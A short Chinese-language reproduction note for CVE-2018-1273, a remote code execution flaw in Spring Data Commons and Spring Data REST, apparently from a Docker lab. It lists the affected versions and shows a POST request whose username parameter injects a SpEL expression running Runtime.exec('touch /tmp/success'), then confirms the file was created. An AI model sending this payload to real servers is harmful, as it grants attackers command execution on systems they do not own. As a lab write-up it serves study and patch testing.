（CVE-2018-1273）Spring_Data_Commons组件远程代码执行漏洞

# （CVE-2018-1273）Spring Data Commons组件远程代码执行漏洞

================

一、漏洞简介
————

攻击者可以构造恶意的请求对Spring Data
REST发起攻击，包括使用基于HTTP资源的，或者其他请求基于Spring Data’s
projection负载结合的，最终导致远程代码执行攻击。

二、漏洞影响
————

Spring Data Commons 1.13 – 1.13.10(Ingalls SR10)

Spring Data REST 2.6 – 2.6.10 (Ingalls SR10)

Spring Data Commons 2.0 – 2.0.5 (Kay SR5)

Spring Data REST 3.0 – 3.0.5 (Kay SR5)

三、复现过程
————

POST /users?page=&size=5 HTTP/1.1

username[#this.getClass().forName(“java.lang.Runtime”).getRuntime().exec(“touch /tmp/success”)]=&password=&repeatedPassword=

执行`docker-compose exec spring bash`进入容器中，可见成功创建`/tmp/success`，说明命令执行成功：
